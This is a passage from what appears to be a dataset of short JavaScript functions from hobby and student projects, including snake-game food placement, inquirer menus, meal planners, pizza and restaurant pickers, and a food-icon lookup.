case 'my-tweets':\n tweetIt();\n break;\n case 'spotify-this-song':\n songIt(title);\n break;\n case 'movie-this':\n movieIt(title);\n break;\n case 'do-what-it-says':\n doIt();\n break;\n }\n}","function supervisorMenu() {\n inquirer\n .prompt({\n name: 'apple',\n type: 'list',\n message: 'What would you like to do?'.yellow,\n choices: ['View Product Sales by Department',\n 'View/Update Department',\n 'Create New Department',\n 'Exit']\n })\n .then(function (pick) {\n switch (pick.apple) {\n case 'View Product Sales by Department':\n departmentSales();\n break;\n case 'View/Update Department':\n updateDepartment();\n break;\n case 'Create New Department':\n createDepartment();\n break;\n case 'Exit':\n connection.end();\n break;\n }\n });\n}","function travelTypeChange (userInput) { //takes the result from changeDestinationResult and uses the yesOrNo function to give random part of trip the user wishes to switch.\n if(userInput === \"1\"){\n \n randomDestination = yesOrNo(destination,destination);\n \n }\n else if (userInput === \"2\") {\n \n randomRestaurant = yesOrNo(restaurant,restaurant);\n }\n else if (userInput === \"3\") {\n \n randomTravelType = yesOrNo(transportation, transportation);\n }\n else if (userInput === \"4\") {\n \n randomEntertainment = yesOrNo(entertainment,entertainment);\n }\n}","function setFood() {\n\tvar empty = [];\n\t\n\t//finds all empty cells so not to collide with snake\n\tfor (var x=0; x < grid.w; x++) {\n\t\tfor (var y=0; y < grid.h; y++) {\n\t\t\tif (grid.get(x, y) == emptyFill) {\n\t\t\t\tempty.push({x:x, y:y});\n\t\t\t}\n\t\t}\n\t}\n\t\n\t//puts food in random cell\n\tvar randpos = empty[Math.round(Math.random()*(empty.length - 1))];\n\tgrid.set(foodFill, randpos.x, randpos.y);\n}","function randomFood() {\n var fRow = Math.floor(Math.random() * 19);\n var fCol = Math.floor(Math.random() * 19);\n var foodCell = $('#cell_'+fRow+'_'+fCol);\n if (!foodCell.hasClass('snake-cell')) {\n foodCell.addClass(\"food-cell\");\n food='_'+fRow+'_'+fCol;\n }\n else randomFood();\n }","function fightOrCave() {\n\n let whereNext = prompt(\"Vart vill du gå nu? Ange fight för att gå och bekämpa monstret eller grottan för att gå till grottan\").toLowerCase();\n\n if (whereNext === \"grottan\"){\n goToCaveSecondTime();\n }\n else if (whereNext === \"fight\") {\n alert(\"Oops, du har ju inte skölden än... Du måste hämta den först. Klicka ok för att gå till grottan.\")\n goToCaveSecondTime();\n }\n else {\n alert(\"Vänligen ange fight eller grottan\")\n fightOrCave()\n }\n\n \n}","function generateMealPlan() {\n // here we will let them decide, based on their diet type, we can take a quick survey of the current diet type\n // when they click generate a meal plan because this can change very regularly\n\n if (dietType == 'maintain' /* check if the diet type == maintainWeight*/) {\n // this means that they do not need to change amount of calories burn, so essentially calorieLoss = regular loss\n calorieIntake = calculateBMR();\n } else if (dietType == 'gain' /*check if the diet type == weightGain*/) {\n // to gain weight we must add around 500 calories (this is a changing factor) to the intake amount\n // for this we will need to ask them again in the quick survey if this diet is selected how main pounds\n // are they trying to gain, normal (healthy) amount are 0.5lb (+250 calories) and 1lb (+500 calories) a week\n neededCalories = 250 /* 250 ?*/; //again we will check and change this value depending on amount loss\n calorieIntake = calculateBMR() + neededCalories;\n } else if (dietType == 'loss') {\n // to lose weight we must subtract around 500 calories(this is a changing factor) to the intake amount\n // for this we will need to ask them again in the quick survey if this diet is selected how main pounds\n // are they trying to lose, normal (healthy) amount are 0.5lb (-250 calories) and 1lb (-500 calories) a week\n neededCalories = 250 /* 500 ?*/;\n calorieIntake = calculateBMR() - neededCalories;\n }\n\n // now we can call the calorieIntake value and essentially grab a meal/meals that are within this range for the\n // user\n\n // we can make calls to the database and check for the essential meal here this might be a little difficult\n // since we need to make a meal for the day in a sense, so we need to check with the nutritionist \n // about what should be allocated for calories for breakfast, lunch, and dinner\n\n // also we need to check for allergies and account for this in some way, but that can be handled later\n // once we nail down the functionality of this.\n return calorieIntake;\n}","function fighterSelect() {\n if (userSelected === false) {\n userChoice.append($(this));\n userSelected = true;\n for (let i = 0; i < fighterArray.length; i++) {\n if ($(this).attr('alt') === fighterArray[i].name) {\n userFighter = fighterArray[i];\n userFighter.hide();\n }\n }\n return userFighter\n }\n \n else if (userSelected === true && enemySelected === false) {\n enemyChoice.append($(this));\n enemySelected = true;\n for (let i = 0; i < fighterArray.length; i++) {\n if ($(this).attr('alt') === fighterArray[i].name) {\n enemyFighter = fighterArray[i];\n enemyFighter.hide();\n }\n }\n return enemyFighter;\n }\n }","async function e_greedy() {\r\n\t\tlet action;\r\n\t\t//Based off explore/exploit\r\n\t\tif (Math.random() < epsilon) { //chooses best action\r\n\t\t\t//read max value from firestore database and get the id\r\n\t\t\tlet response = await getMax(s);\r\n\t\t\taction = response;\r\n\t\t} else { //choose random action\r\n\t\t\taction = Math.floor(Math.random() * Math.floor(states));; //if a = 8, this indicates to choose random state\r\n\t\t}\r\n\t\treturn action;\r\n\t}","function pickSearchTerm() {\n let options = [\"stop\", \"mad\", \"angry\", \"annoyed\", \"cut it\" ];\n return options[Math.floor(Math.random() * 4)];\n}","function printFruitOrVeggie(word) {\n switch (word) {\n case 'banana':\n case 'apple':\n case 'kiwi':\n case 'cherry':\n case 'lemon':\n case 'grapes':\n case 'peach':\n console.log('fruit'); break;\n case 'tomato':\n case 'cucumber':\n case 'pepper':\n case 'onion':\n case 'parsley':\n case 'garlic':\n console.log('vegetable'); break;\n default:\n console.log('unknown');\n }\n }","checkForFood(foods) {\n for (var i=0; i < foods.length; i++) {\n let distance = Math.abs(super.subtractVectors(this.position, foods[i].position));\n if (distance <= this.senseRadius && distance >= 0) {\n if (distance <= this.stepSize / 2 && distance >= 0) {\n this.eat(foods[i]);\n this.foodIsNearby = false;\n } else {\n this.foodIsNearby = true;\n }\n } else {\n this.foodIsNearby = false;\n }\n }\n }","function checkMeat(food) {\n var aisle = food;\n console.log(aisle);\n console.log(aisleIngredients);\n if (aisleIngredients.indexOf(\"Seafood\") >= 0) {\n var searchTerm =\n wineIngredients[aisleIngredients.indexOf(\"Seafood\")].nameClean;\n console.log(searchTerm);\n fetch(\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\n )\n .then((blob) => {\n return blob.json();\n })\n .then((response) => {\n if (\n typeof response.pairingText != \"undefined\" &&\n response.pairingText != \"\"\n ) {\n winePair.innerHTML = response.pairingText;\n } else {\n lastWine();\n }\n });\n } else if (aisleIngredients.indexOf(\"Frozen;Meat\") >= 0) {\n var searchTerm =\n wineIngredients[aisleIngredients.indexOf(\"Frozen;Meat\")].nameClean;\n console.log(searchTerm);\n fetch(\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\n )\n .then((blob) => {\n return blob.json();\n })\n .then((response) => {\n if (\n typeof response.pairingText != \"undefined\" &&\n response.pairingText != \"\"\n ) {\n winePair.innerHTML = response.pairingText;\n } else {\n lastWine();\n }\n });\n } else if (aisleIngredients.indexOf(\"Meat\") >= 0) {\n var searchTerm =\n wineIngredients[aisleIngredients.indexOf(\"Meat\")].nameClean;\n console.log(searchTerm);\n fetch(\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\n )\n .then((blob) => {\n return blob.json();\n })\n .then((response) => {\n if (\n typeof response.pairingText != \"undefined\" &&\n response.pairingText != \"\"\n ) {\n winePair.innerHTML = response.pairingText;\n } else {\n lastWine();\n }\n });\n } else if (aisleIngredients.indexOf(\"Pasta and Rice\") >= 0) {\n var searchTerm =\n wineIngredients[aisleIngredients.indexOf(\"Pasta and Rice\")].nameClean;\n console.log(searchTerm);\n fetch(\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\n )\n .then((blob) => {\n return blob.json();\n })\n .then((response) => {\n if (\n typeof response.pairingText != \"undefined\" &&\n response.pairingText != \"\"\n ) {\n winePair.innerHTML = response.pairingText;\n } else {\n lastWine();\n }\n });\n } else if (aisleIngredients.indexOf(\"Cheese\") >= 0) {\n var searchTerm =\n wineIngredients[aisleIngredients.indexOf(\"Cheese\")].nameClean;\n console.log(searchTerm);\n fetch(\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\n )\n .then((blob) => {\n return blob.json();\n })\n .then((response) => {\n if (\n typeof response.pairingText != \"undefined\" &&\n response.pairingText != \"\"\n ) {\n winePair.innerHTML = response.pairingText;\n } else {\n lastWine();\n }\n });\n } else if (aisleIngredients.indexOf(\"Produce\") >= 0) {\n var searchTerm =\n wineIngredients[aisleIngredients.indexOf(\"Produce\")].nameClean;\n console.log(searchTerm);\n fetch(\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\n )\n .then((blob) => {\n return blob.json();\n })\n .then((response) => {\n if (\n typeof response.pairingText != \"undefined\" &&\n response.pairingText != \"\"\n ) {\n winePair.innerHTML = response.pairingText;\n } else {\n lastWine();\n }\n });\n } else if (aisleIngredients.indexOf(\"Nuts\") >= 0) {\n var searchTerm =\n wineIngredients[aisleIngredients.indexOf(\"Nuts\")].nameClean;\n console.log(searchTerm);\n fetch(\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\n )\n .then((blob) => {\n return blob.json();\n })\n .then((response) => {\n if (\n typeof response.pairingText != \"undefined\" &&\n response.pairingText != \"\"\n ) {\n winePair.innerHTML = response.pairingText;\n } else {\n lastWine();\n }\n });\n } else {\n lastWine();\n }\n}","function selectRestaurant() {\n let restaurant = document.getElementById(\"dropdown\").firstChild.value;\n let clear;\n if (restaurant === null) {\n return;\n } else if (Object.keys(order.items).length > 0) {\n //Confirm the if the user wants to proceed to clear the order\n clear = confirm(\"Would you like to clear the current order?\");\n if(!clear) {\n document.getElementById(\"dropdown\").firstChild.value = \"\";\n return;\n }\n }\n\n clearOrder(true);\n\n changeRestaurant(restaurant);\n\n}","function randomEmote () {\n let emoteState = pet_info.state\n \n switch(emoteState) {\n case 'good':\n const goodPetStates = [\n './assets/Emote_Heart.png',\n './assets/Emote_Hi!.gif',\n './assets/Emote_Game.png',\n './assets/Emote_Laugh.gif',\n './assets/Emote_Happy.png',\n './assets/Emote_Note.png',\n './assets/Emote_Yes.gif'\n ]\n \n const goodArrayLength = goodPetStates.length\n let goodSelectedState = Math.floor((Math.random() * goodArrayLength) + 0)\n\n $('.pet-state').attr('src', goodPetStates[goodSelectedState])\n \n break\n case 'bad':\n const badPetStates = [\n './assets/Emote_No.gif',\n './assets/Emote_Sad.png',\n './assets/Emote_Sick.gif',\n './assets/Emote_Surprised.gif',\n './assets/Emote_Uh.gif',\n './assets/Emote_Angry.png'\n ]\n \n const badArrayLength = badPetStates.length\n let badSelectedState = Math.floor((Math.random() * badArrayLength) + 0)\n \n $('.pet-state').attr('src', badPetStates[badSelectedState])\n \n break\n case 'dead':\n const deadPetStates = [\n './assets/Emote_Sleep.png',\n './assets/Emote_X.png',\n './assets/Emote_Exclamation.png'\n ]\n \n const deadArrayLength = deadPetStates.length\n let deadSelectedState = Math.floor((Math.random() * deadArrayLength) + 0)\n \n $('.pet-state').attr('src', deadPetStates[deadSelectedState])\n \n break\n default:\n const defaultPetState = 'Emote_Question.png'\n $('.pet-state').attr('src', defaultPetState)\n }\n}","function alertAll() {\n let ask = prompt(`What type of coffee maker you are interested in? : \\n Drip,Carob,Coffee-Machine`)\n let lowerAsk = ask.toLowerCase();\n\n if (lowerAsk == 'drip') {\n newCoffeeMachine.firstMethod()\n newCoffeeMachine.history()\n }\n if(lowerAsk == 'carob'){\n newCoffeeMachine3.firstMethod()\n newCoffeeMachine3.mainType()\n }\n if(lowerAsk == 'coffee-machine'){\n newCoffeeMachine2.firstMethod()\n newCoffeeMachine2.history()\n }\n}","function pickUp(index) {\n var pt = self[self.turn];\n var result = self.food[pt];\n if (!result) return; // Nothing to do\n if (result.length == 1) index = 0; // Unique\n if (index == null) { // Can't decide now...\n newState.pending = action;\n return;\n }\n reward += self.food[pt][index]; // Take the food\n newState.food[pt] = null; // Food is now gone\n }","function eatFood() {\n var lastball = snake[snake.length - 1];\n if (lastball.x == food.x * 20 && lastball.y == food.y*20 ) {\n eat.play()\n score++;\n add();\n createFood();\n }\n}","function placeFood() {\n if (!isThereEmptyCell()) return;\n var cell = getCell([~~(Math.random() * settings.size[0]), ~~(Math.random() * settings.size[1])]);\n if (cell.className) placeFood();\n else cell.className = 'food';\n }","onSelectRestaurant(restaurant){\n this.closeAllRestaurant()\n restaurant.viewDetailsComments()\n restaurant.viewImg()\n\n }","function selectCheese(cheese) {\n if($scope.model.selectedBurger.cheese) {\n $scope.model.selectedBurger.cheese.selected = false;\n }\n if(cheese !== undefined) {\n $scope.model.selectedBurger.cheese = cheese;\n $scope.model.selectedBurger.cheese.selected = true;\n }\n\n selectStep('salads');\n }","function selectAction() {\n inquirer.prompt([\n {\n name: \"action\",\n message: \"Please select what you want to do:\",\n type: \"list\",\n choices: [\n \"View Product Sales by Department\",\n \"Create New Department\",\n ]\n }\n // use if to lead manager to the different functions\n ]).then(function (answers) {\n if (answers.action === \"View Product Sales by Department\") {\n // run the list function to display all available product\n console.log(\"=============================================\")\n salesByDepartment()\n } else if (answers.action === \"Create New Department\") {\n // run the lowInventory function to display all product with lower than 5 stock quant\n console.log(\"=============================================\")\n createDepartment() \n } else {\n console.log(\"I don't know what you want to do.\")\n }\n })\n}","function findTheCheese (foods) {\n const cheese = [\"cheddar\", \"gouda\", \"camembert\"];\n \n for (let i=0; i < foods.length; i++) { \n \n let flag = cheese.indexOf(foods[i]);\n \n if(flag !== -1) {\n return foods[i];\n }\n } \n return \"no cheese!\";\n}","function app(people){\n let searchType = promptFor(\"Do you know the name of the person you are looking for? Enter 'yes' or 'no'\", yesNo).toLowerCase();\n let searchResults;\n let pickAdventure;\n switch(searchType){\n case 'yes':\n searchResults = searchByName(people);\n break;\n case 'no':\n let pickAdventure = decideSearch();\n if (pickAdventure === \"one\"){\n searchResults = searchByTraits(people);\n } \n else if (pickAdventure === \"multiple\"){\n //multiple search\n }\n else{\n alert(\"Invalid Response\");\n decideSearch();\n }\n // TODO: search by traits\n break;\n default:\n app(people); // restart app\n break;\n }\n \n // Call the mainMenu function ONLY after you find the SINGLE person you are looking for\n mainMenu(searchResults, people);\n \n}","function explore(name) {\n // create a random number, if that number is either 3, 6 or 9, the player will fight a monster\n const randomNumber = Math.floor(Math.random() * 10) + 1;\n\n if (randomNumber === 3 || randomNumber === 6 || randomNumber === 9) {\n // disable button to explore tower and insert dialogue that let players know which monster they are facing\n disableExploreTowerButton();\n monsterEncounterDialogue();\n \n } else {\n exploreDialogue(name);\n }\n}","function pickFruits() {\n return getApple()\n .then(apple => {\n return getBanana()\n .then(banana => `${apple} + ${banana}`);\n });\n}","function aDifficultChoice(choice){\n if(choice==1){\n return 'Take her daughter to a doctor';\n }\n else{\n if(choice==-1)\n {\n return 'Break down and give up all hope';\n } \n }\n if(typeof(choice)=='undefined')\n {\n return \"Wasn't able to decide\";\n }\n else{\n if(choice==\"I give up\")\n {\n return \"Refused to do anything for Karen\";\n }\n}\n}","function ChooseBattleOption(){\r\n\r\n PotentialDamageBlocked[0] = 0; // If Both Players Defend\r\n PotentialDamageDealt[0] = Attack; // If Both Players Attack\r\n\r\n if (NatureControllerScript.Attack >= Defence) PotentialDamageBlocked[1] = Defence; //If Nature Attacks and Human defends\r\n if (NatureControllerScript.Attack < Defence) PotentialDamageBlocked[1] = NatureControllerScript.Attack; //If Nature Attacks and Human defends\r\n\r\n var NetDamageDealt: int; \r\n NetDamageDealt = Attack - NatureControllerScript.Defence;\r\n if (NetDamageDealt > 0) PotentialDamageDealt[1] = NetDamageDealt; //If Human Attacks and Nature defends\r\n if (NetDamageDealt <= 0) PotentialDamageDealt[1] = 0; //If Human Attacks and Nature defends (Successful Defence)\r\n\r\n AttackingPotential = (PotentialDamageDealt[0]+PotentialDamageDealt[1])/2;\r\n DefendingPotential = (PotentialDamageBlocked[0]+PotentialDamageBlocked[1])/2;\r\n \r\n if (DefendingPotential > AttackingPotential){\r\n Choice = 1; //Defend\r\n }\r\n\r\n if (AttackingPotential > DefendingPotential){\r\n Choice = 0; //Attack\r\n }\r\n\r\n if (AttackingPotential == DefendingPotential){\r\n if (Health >= NatureControllerScript.Health) Choice = 0; //Choice = Attack\r\n if (Health < NatureControllerScript.Health) Choice = 1; //Choice = Defend\r\n }\r\n}","function picker(action, target) {\n switch (action) {\n case \"concert-this\":\n concertthis(target);\n break;\n\n case \"spotify-this-song\":\n spotifythissong(target);\n break;\n\n case \"movie-this\":\n moviethis(target);\n break;\n\n case \"do-what-it-says\":\n dowhatitsays();\n break;\n\n default:\n console.log(\"Hmmm ... I don't understand.\");\n break;\n }\n}","function spawnFood() {\n\tvar x = Math.floor(Math.random()*(WIDTH-3))+1;\n\tvar y =\tMath.floor(Math.random()*(HEIGHT-5))+3;\n\tvar f = {x: x, y: y};\n\tvar clear = snake.body.every(\n\t\t\tfunction(cell) {\n\t\t\t\treturn !isTouchingFood(cell, f);\n\t\t\t}) && !isTouchingFood(snake.head, f);\n\tif (clear) {\n\t\tfood = new Food(x, y);\n\t} else {\n\t\tspawnFood();\n\t}\n}","function Food() {\n var food_x = Math.floor(Math.random() * backWidth);\n var food_y = Math.floor(Math.random() * backHeight);\n\n board[food_y][food_x].food = 1;\n }","function pickLocForFood() {\n\tvar cols = floor(windowWidth/s.sWidth);\n\tvar rows = floor(windowHeight/s.sHeight);\n\tfoodPosition =createVector(floor (random(cols)), floor(random(rows)));\n\tfoodPosition.x = constrain (foodPosition.x * s.sWidth, 20, windowWidth-s.sWidth-60);\n\tfoodPosition.y = constrain (foodPosition.y * s.sHeight, 20, windowWidth-s.sHeight-20);\n}","function hasPizza (foodTray) {\n return foodTray.indexOf('pizza') !== -1;\n}","async function makeFood(step) {\n try {\n if (step < brusselSprouts.length) {\n await addFood(brusselSprouts[step], \"#brusselSprouts\"); // Coloco o passo atual na fila\n makeFood(step + 1); // Dou o próximo passo na receita\n } else {\n throw \"End of recipe.\";\n }\n } catch (err) {\n console.log(err);\n }\n}","function whichMeal(datapoint){\n let f = datapoint.whichMeal;\n if (f = \"breakfast\"){\n return \"0.1\";\n }else if (f = \"lunch\"){\n return \"0.5\";\n }else if (f = \"lunch\"){\n return \"1\";\n }\n}","function EatFood(agent) {\n\tthis.description = 'eating food';\n\n\tthis.evaluate = function(context) {\n\t\tvar self = this;\n\t\tvar result = agent.grid.eachThing(function(food) {\n\t\t\tif(!food.claimedBy &&\n\t\t\t\tagent.pos.x == food.pos.x &&\n\t\t\t\tagent.pos.y == food.pos.y) {\n\t\t\t\tagent.grid.claimFood(food, agent);\n\t\t\t}\n\t\t\tif(food.claimedBy == agent) {\n\t\t\t\tcontext.updateRunningTime(self, context.elapsedTime);\n\t\t\t\tfood.consume(context.runningTime);\n\t\t\t\treturn BT.NodeStatus.Running;\n\t\t\t}\n\t\t}, Food);\n\n\t\treturn typeof result !== 'undefined' ? result : BT.NodeStatus.Failure;\n\t};\n}","randomAction() {\n var action;\n const role = this.role.toLowerCase();\n switch (this.location.location.toLowerCase()) {\n case 'throne': \n if (role == 'advisor' && randomChoice([0,1,1]) == 1) {\n action = new Action.Propose(randomChoice([100,150,200,300]),randomChoice([this.game.courtyard,this.game.chapel,this.game.barracks]));\n } break;\n case 'courtyard': break;\n case 'ballroom': \n if (role != 'captain' && role != 'grim' && randomChoice([0,1,1]) == 1) {\n action = new Action.Laud(randomChoice(this.game.characters));\n } break;\n case 'chapel':\n if (role != 'captain' && randomChoice([0,1,1]) == 1) {\n action = new Action.Pray();\n } break;\n case 'barracks': break;\n }\n if (action == null) {\n action = randomChoice([0,0,1]) == 1 ? this.randomVisit() : new Action.Investigate(randomChoice(this.game.characters));\n }\n if (action.time <= this.time) {\n return action;\n } else {\n return new Action.End(this.time);\n }\n }","function handleNewMealRequest(response) {\n // Get a random meal from the random meals list\n var mealIndex = Math.floor(Math.random() * RANDOM_MEALS.length);\n var meal = RANDOM_MEALS[mealIndex];\n\n // Create speech output\n var speechOutput = \"Here's a suggestion: \" + meal;\n\n response.tellWithCard(speechOutput, \"MealRecommendations\", speechOutput);\n}","function select_by_weather(recipes) {\n recipes.forEach(recipe => {\n recipe['weather'] = false;\n });\n let selectedChoices = findIfFilters(\"weather\");\n if (selectedChoices.length === 0) {\n document.querySelector('#no-filter-chosen').style.display = 'block';\n } else {\n filter(\"weather\", selectedChoices);\n display_selected_recipes();\n history.pushState({ recipes: 'loaded', weather_types: selectedChoices }, ``, '/recipes');\n }\n}","function displayPizzaType(){\n if (pizzaArray.indexOf(randPizza) === 0){\n pizzaType.innerText = 'Cheese';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese';\n } else if (pizzaArray.indexOf(randPizza) === 1){\n pizzaType.innerText = 'Pepperoni';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Pepperoni';\n } else if (pizzaArray.indexOf(randPizza) === 2){\n pizzaType.innerText = 'Sausage & Peppers';\n ingredientList.innerHTML = 'Sauce, Cheese, Sausage, Peppers';\n } else if (pizzaArray.indexOf(randPizza) === 3){\n pizzaType.innerText = 'Breath-mint';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Anchovies, Garlic, Onion';\n } else if (pizzaArray.indexOf(randPizza) === 4){\n pizzaType.innerText = 'Marg';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Basil, Garlic, Tomato';\n } else if (pizzaArray.indexOf(randPizza) === 5){\n pizzaType.innerText = 'Meat Lovers';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Sausage, Pepperoni, Bacon, Ham';\n } else if (pizzaArray.indexOf(randPizza) === 6){\n pizzaType.innerText = 'Veggie';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Mushroom, Onion, Peppers, Tomato';\n } else if (pizzaArray.indexOf(randPizza) === 7){\n pizzaType.innerText = 'White';\n ingredientList.innerHTML = 'Ingredients
    Cheese, Basil, Tomato, Garlic';\n } else if (pizzaArray.indexOf(randPizza) === 8){\n pizzaType.innerText = 'Vegan';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Basil, Tomato, Mushroom, Onion, Pepper';\n } else if (pizzaArray.indexOf(randPizza) === 9){\n pizzaType.innerText = 'Hawaiian';\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Ham, Pineapple';\n } \n\n}","function getChoice() {\n inquirer.prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\"]\n }).then(function(answer) {\nswitch(answer.action) {\n\tcase 'View Products for Sale':\n\t\tviewProducts();\n\tbreak;\n\n\tcase 'View Low Inventory':\n\t\tviewLowInventory();\n\tbreak;\n\t\n\tcase 'Add to Inventory':\n\t\trestockInventory();\n\tbreak; \n\t\n\tcase 'Add New Product':\n\t\taddNewProduct();\n\tbreak;\n }\n })\n}","function Food_Function() {\n var Food_Output;\n var Foods = document.getElementById(\"Food_Input\").value\n var Food_String = \" is a Delicious Food!\"\n switch(Foods) {\n case \"Chips\": //a case, are the various conditions that are evaluated \n Food_Output = \"Chips\" + Food_String;\n break;\n case \"Steak\":\n Food_Output = \"Steak\" + Food_String;\n break;\n case \"Chicken\":\n Food_Output = \"Chicken\" + Food_String;\n break;\n case \"Curry\":\n Food_Output = \"Curry\" + Food_String;\n break;\n case \"Chilli\":\n Food_Output = \"Chilli\" + Food_String;\n break;\n case \"Purple\":\n Food_Output = \"Purple\" + Food_String;\n break;\n default:\n Food_Output = \"Please enter a Food exactly as written on the above list\"; //if no case match prents this\n}\ndocument.getElementById(\"Output\").innerHTML=Food_Output;\n}","choose_treatment(){\n // Gerando um número aleatório entre 0 e 26.\n let index = (Math.floor(Math.random()* 25 + 1));\n // Possíveis formas de tratamento.\n let treatment = [\n \"consagrado\",\n \"condensado\",\n \"condenado\",\n \"chamuscado\",\n \"concursado\",\n \"condecorado\",\n \"comissionado\",\n \"calejado\", \n \"cutucado\", \n \"cuckado\", \n \"abenssoado\", \n \"desgraçado\", \n \"lisonjeado\", \n \"alejado\", \n \"afetado\", \n \"afeminado\", \n \"sensualizado\", \n \"fuzilado\", \n \"adequado\", \n \"algemado\", \n \"amargurado\", \n \"retardado\", \n \"reciclado\", \n \"coroado\", \n \"abestado\", \n \"ensaboado\"\n ];\n return treatment[index];\n }","function addFoodIcon(food) {\n switch(pluralize.singular(food.name.toLowerCase())) {\n case 'apple':\n return 'apple-1.png';\n break;\n case 'asparagus':\n return 'asparagus.png';\n break;\n case 'avocado':\n return 'avocado.png';\n break;\n case 'bacon':\n return 'bacon.png';\n break;\n case 'banana':\n return 'banana.png';\n break;\n case 'bean':\n return 'beans.png';\n break;\n case 'biscuit':\n return 'biscuit.png';\n break;\n case 'blueberry':\n return 'blueberries.png';\n break;\n case 'bread':\n return 'bread-1.png';\n break;\n case 'broccoli':\n return 'broccoli.png';\n break;\n case 'cabbage':\n return 'cabbage.png';\n break;\n case 'cake':\n return 'cake.png';\n break;\n case 'candy':\n return 'candy.png';\n break;\n case 'carrot':\n return 'carrot.png';\n break;\n case 'cauliflower':\n return 'cauliflower.png';\n break;\n case 'cereal':\n return 'cereals.png';\n break;\n case 'cheese':\n return 'cheese.png';\n break;\n case 'cherry':\n return 'cherries.png';\n break;\n case 'chili':\n return 'chili.png';\n break;\n case 'chips':\n return 'chips.png';\n break;\n case 'chives':\n return 'chives.png';\n break;\n case 'green onion':\n return 'chives.png';\n break;\n case 'chocolate':\n return 'chocolate.png';\n break;\n case 'coconut':\n return 'coconut.png';\n break;\n case 'coffee':\n return 'coffee-2.png';\n break;\n case 'cookie':\n return 'cookies.png';\n break;\n case 'corn':\n return 'corn.png';\n break;\n case 'cucumber':\n return 'cucumber.png';\n break;\n case 'egg':\n return 'egg.png';\n break;\n case 'fish':\n return 'fish.png';\n break;\n case 'flour':\n return 'flour.png';\n break;\n case 'fry':\n return 'fries.png';\n break;\n case 'garlic':\n return 'garlic.png';\n break;\n case 'egg':\n return 'egg.png';\n break;\n case 'grape':\n return 'grapes.png';\n break;\n case 'ham':\n return 'ham.png';\n break;\n case 'honey':\n return 'honey.png';\n break;\n case 'ice cream':\n return 'ice-cream-12.png';\n break;\n case 'jam':\n return 'jam-1.png';\n break;\n case 'jelly':\n return 'jam-1.png';\n break;\n case 'lemon':\n return 'lemon-1.png';\n break;\n case 'lime':\n return 'lime.png';\n break;\n case 'milk':\n return 'milk-1.png';\n break;\n case 'mushroom':\n return 'mushroom.png';\n break;\n case 'mustard':\n return 'mustard.png';\n break;\n case 'noodles':\n return 'noodles.png';\n break;\n case 'oat':\n return 'oat.png';\n break;\n case 'olive oil':\n return 'oil.png';\n break;\n case 'vegetable oil':\n return 'oil.png';\n break;\n case 'oil':\n return 'oil.png';\n break;\n case 'olive':\n return 'olive.png';\n break;\n case 'onion':\n return 'onion.png';\n break;\n case 'orange':\n return 'orange.png';\n break;\n case 'pancake':\n return 'pancakes-1.png';\n break;\n case 'pasta':\n return 'spaguetti.png';\n break;\n case 'peach':\n return 'peach.png';\n break;\n case 'pear':\n return 'pear.png';\n break;\n case 'pea':\n return 'peas.png';\n break;\n case 'pepper':\n return 'pepper.png';\n break;\n case 'pickle':\n return 'pickles.png';\n break;\n case 'pie':\n return 'pie.png';\n break;\n case 'pineapple':\n return 'pineapple.png';\n break;\n case 'beer':\n return 'pint.png';\n break;\n case 'pistachio':\n return 'pistachio.png';\n break;\n case 'pizza':\n return 'pizza.png';\n break;\n case 'pomegranate':\n return 'pomegranate.png';\n break;\n case 'potato':\n return 'potatoes-2.png';\n break;\n case 'pretzel':\n return 'pretzel.png';\n break;\n case 'pumpkin':\n return 'pumpkin.png';\n break;\n case 'radish':\n return 'radish.png';\n break;\n case 'raspberry':\n return 'raspberry.png';\n break;\n case 'rice':\n return 'rice.png';\n break;\n case 'brown rice':\n return 'rice.png';\n break;\n case 'white rice':\n return 'rice.png';\n break;\n case 'salad':\n return 'salad.png';\n break;\n case 'lettuce':\n return 'salad-1.png';\n break;\n case 'spinach':\n return 'salad-1.png';\n break;\n case 'kale':\n return 'salad-1.png';\n break;\n case 'salami':\n return 'salami.png';\n break;\n case 'salmon':\n return 'salmon.png';\n break;\n case 'sandwich':\n return 'sandwich.png';\n break;\n case 'sausage':\n return 'sausage.png';\n break;\n case 'italian sausage':\n return 'sausage.png';\n break;\n case 'breakfast sausage':\n return 'sausage.png';\n break;\n case 'steak':\n return 'steak.png';\n break;\n case 'strawberry':\n return 'strawberry.png';\n break;\n case 'sushi':\n return 'sushi-1.png';\n break;\n case 'taco':\n return 'taco.png';\n break;\n case 'toast':\n return 'toast.png';\n break;\n case 'tomato':\n return 'tomato.png';\n break;\n case 'turkey':\n return 'turkey.png';\n break;\n case 'watermelon':\n return 'watermelon.png';\n break;\n case 'wrap':\n return 'wrap.png';\n break;\n case 'chicken':\n return 'meat.png';\n break;\n case 'chicken breast':\n return 'meat.png';\n break;\n case 'ketchup':\n return 'mustard-2.png';\n break;\n case 'ground beef':\n return 'ham.png';\n break;\n case 'ground turkey':\n return 'ham.png';\n break;\n case 'ground chicken':\n return 'ham.png';\n break;\n case 'ground chicken':\n return 'ham.png';\n break;\n // If a food name is not one of these things, populate it's icon based on category\n default: \n if (food.category === 'Vegetables') {\n return 'salad-1.png';\n } else if (food.category === 'Fruits') {\n return 'apple-1.png'\n } else if (food.category === 'Meat/Seafood') {\n return 'meat-1.png'\n } else if (food.category === 'Grains') {\n return 'grain.png'\n } else if (food.category === 'Dairy') {\n return 'milk.png'\n } else if (food.category === 'Sugars') {\n return 'cupcake.png'\n }\n return 'food.png'\n }\n}","function fDogs(selected_species) {\n return selected_species.species == 